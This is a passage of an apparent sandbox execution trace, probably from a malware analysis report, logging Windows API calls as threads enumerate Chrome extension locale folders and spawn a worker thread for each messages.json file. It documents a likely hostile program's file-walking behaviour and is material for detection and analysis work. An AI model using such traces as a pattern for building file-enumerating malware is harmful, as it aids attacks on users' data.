returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json" [0181.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4 [0181.990] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x96dd08 | out: lpFindFileData=0x96dd08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83454560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.990] FindClose (in: hFindFile=0x9422f0 | out: hFindFile=0x9422f0) returned 1 [0181.991] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96dd08) returned 1 [0181.991] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7d20) returned 1 [0181.991] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4999f8) returned 1 Thread: id = 7309 os_tid = 0x13b8 [0180.252] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7e58 [0180.252] wcscpy (in: _Dest=0xd4a7e58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa" [0180.252] wcscat (in: _Dest=0xd4a7e58, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\" [0180.252] wcscat (in: _Dest=0xd4a7e58, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*" [0180.252] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96df70 [0180.252] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", lpFindFileData=0x96df70 | out: lpFindFileData=0x96df70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942370 [0181.162] wcscmp (_String1=".", _String2=".") returned 0 [0181.162] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x96df70 | out: lpFindFileData=0x96df70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.162] wcscmp (_String1="..", _String2=".") returned 1 [0181.162] wcscmp (_String1="..", _String2="..") returned 0 [0181.162] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x96df70 | out: lpFindFileData=0x96df70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8345ba90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x46f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.162] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.162] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.162] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x940ba8 [0181.162] wcscpy (in: _Dest=0x940ba8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa" [0181.162] wcscat (in: _Dest=0x940ba8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\" [0181.162] wcscat (in: _Dest=0x940ba8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json" [0181.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940ba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f0 [0181.992] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x96df70 | out: lpFindFileData=0x96df70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8345ba90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x46f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.992] FindClose (in: hFindFile=0x942370 | out: hFindFile=0x942370) returned 1 [0181.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96df70) returned 1 [0181.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7e58) returned 1 [0181.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499b30) returned 1 Thread: id = 7310 os_tid = 0x1768 [0180.253] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7f90 [0180.253] wcscpy (in: _Dest=0xd4a7f90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi" [0180.253] wcscat (in: _Dest=0xd4a7f90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\" [0180.253] wcscat (in: _Dest=0xd4a7f90, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*" [0180.253] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96e1d8 [0180.253] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", lpFindFileData=0x96e1d8 | out: lpFindFileData=0x96e1d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942530 [0181.163] wcscmp (_String1=".", _String2=".") returned 0 [0181.163] FindNextFileW (in: hFindFile=0x942530, lpFindFileData=0x96e1d8 | out: lpFindFileData=0x96e1d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.163] wcscmp (_String1="..", _String2=".") returned 1 [0181.163] wcscmp (_String1="..", _String2="..") returned 0 [0181.163] FindNextFileW (in: hFindFile=0x942530, lpFindFileData=0x96e1d8 | out: lpFindFileData=0x96e1d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83462fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.163] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.163] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.163] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x940d00 [0181.163] wcscpy (in: _Dest=0x940d00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi" [0181.163] wcscat (in: _Dest=0x940d00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\" [0181.163] wcscat (in: _Dest=0x940d00, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json" [0181.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1738 [0181.994] FindNextFileW (in: hFindFile=0x942530, lpFindFileData=0x96e1d8 | out: lpFindFileData=0x96e1d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83462fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.994] FindClose (in: hFindFile=0x942530 | out: hFindFile=0x942530) returned 1 [0181.995] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96e1d8) returned 1 [0181.995] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7f90) returned 1 [0181.995] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499c68) returned 1 Thread: id = 7311 os_tid = 0x13bc [0180.254] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12c) returned 0xd4a80c8 [0180.254] wcscpy (in: _Dest=0xd4a80c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil" [0180.254] wcscat (in: _Dest=0xd4a80c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\" [0180.254] wcscat (in: _Dest=0xd4a80c8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*" [0180.254] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96e440 [0180.254] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", lpFindFileData=0x96e440 | out: lpFindFileData=0x96e440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942bf0 [0181.164] wcscmp (_String1=".", _String2=".") returned 0 [0181.164] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x96e440 | out: lpFindFileData=0x96e440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.164] wcscmp (_String1="..", _String2=".") returned 1 [0181.164] wcscmp (_String1="..", _String2="..") returned 0 [0181.164] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x96e440 | out: lpFindFileData=0x96e440*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8346cc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83471a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4082, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.164] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.164] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.164] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x144) returned 0x940e58 [0181.164] wcscpy (in: _Dest=0x940e58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil" [0181.164] wcscat (in: _Dest=0x940e58, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\" [0181.164] wcscat (in: _Dest=0x940e58, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json" [0181.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940e58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x173c [0181.996] FindNextFileW (in: hFindFile=0x942bf0, lpFindFileData=0x96e440 | out: lpFindFileData=0x96e440*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8346cc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83471a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4082, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.996] FindClose (in: hFindFile=0x942bf0 | out: hFindFile=0x942bf0) returned 1 [0181.997] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96e440) returned 1 [0181.997] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a80c8) returned 1 [0181.997] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499da0) returned 1 Thread: id = 7312 os_tid = 0x1770 [0180.255] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a8200 [0180.255] wcscpy (in: _Dest=0xd4a8200, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr" [0180.255] wcscat (in: _Dest=0xd4a8200, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\" [0180.255] wcscat (in: _Dest=0xd4a8200, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*" [0180.255] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96e6a8 [0180.256] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", lpFindFileData=0x96e6a8 | out: lpFindFileData=0x96e6a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9426f0 [0181.164] wcscmp (_String1=".", _String2=".") returned 0 [0181.164] FindNextFileW (in: hFindFile=0x9426f0, lpFindFileData=0x96e6a8 | out: lpFindFileData=0x96e6a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.164] wcscmp (_String1="..", _String2=".") returned 1 [0181.165] wcscmp (_String1="..", _String2="..") returned 0 [0181.165] FindNextFileW (in: hFindFile=0x9426f0, lpFindFileData=0x96e6a8 | out: lpFindFileData=0x96e6a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83478f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x419f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.165] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.165] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.165] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x940fb0 [0181.165] wcscpy (in: _Dest=0x940fb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 